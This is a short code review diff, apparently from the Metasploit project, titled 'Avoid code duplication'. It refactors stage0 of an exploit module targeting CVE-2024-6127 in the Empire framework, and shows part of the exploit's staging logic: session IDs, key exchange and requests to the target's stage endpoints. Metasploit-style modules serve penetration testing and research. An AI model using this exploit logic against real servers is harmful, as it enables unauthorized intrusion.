Avoid code duplication

Author: Takahiro-Yoko

modules/exploits/linux/http/empire_skywalker.rb

@@ -234,21 +234,13 @@ def exploit
     when 'CVE-2024-6127'
       # stage0
       # This stage is unnecessary for our purposes.
-      rpacket = build_routing_packet(staging_key, STAGE0)
-      headers = {
-          'user-agent' => datastore['AGENT'],
-          'Cookie' => "session=#{Base64.strict_encode64(rpacket)}"
-      }
-      res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
-        'headers' => headers
-      })
+      session_id = SecureRandom.alphanumeric(8).upcase
+      dummy = SecureRandom.alphanumeric(8)
+      send_data_to_stage(staging_key, dummy, staging_key, STAGE0, session_id)
 
       # stage1
       private_key = SecureRandom.hex(KEYLENGTH).hex
       public_key = GENERATOR.pow(private_key, PRIME).to_s.encode("UTF-8")
-      session_id = SecureRandom.alphanumeric(8).upcase
       res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
       fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res and res.code == 200
       vprint_good("Successfully sent the key to STAGE1")